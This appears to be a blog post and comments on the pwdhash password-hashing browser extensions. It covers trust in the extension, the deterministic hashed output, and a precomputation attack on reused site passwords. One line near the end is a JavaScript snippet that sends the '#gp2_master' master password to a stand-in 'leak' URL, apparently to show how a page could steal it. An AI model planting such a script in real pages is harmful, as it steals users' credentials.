Convenience provided via Chrome/Firefox extensions, portability provided by the website.
Convenience provided via Chrome/Firefox extensions, portability provided by the website.
Even in the event a leak of plain-text passwords I'm still secure in knowing that my other accounts won't be compromised unless there is a very determined attacker.
However, you do have to put some trust in the extension and the website. Fortunately, the website has some good credentials and the extensions have appeared clean... for now.
One thing I have noticed though is that when one enters the same site password, you get the same "Hashed" password back to use. Yes, there is an extra step involved here so that buys you some security but I will be cautious in reusing site passwords.
Imagine an attack where for the top 100 sites in the world, all of the most commonly used passwords are used to generate the "Hashed" (pwdhash) passwords for each site and compile that info into a big list. This can then be added to the candidate list of password that can be tried in cracking leaked hashes.
The take way here is that even though pwdhash gives you domain-specific generated passwords, you will make to sure that you use a different site password as input to pwdhash for each site.
document.documentElement.addEventListener("DOMSubtreeModified", function() {$("#gp2_master").change(function() {location.href = "http://example.org/leak/" + $("#gp2_master").val()})})
They don't seem to mention anywhere which hashing algorithm they use. Also, the lengths are quite small. Any idea why?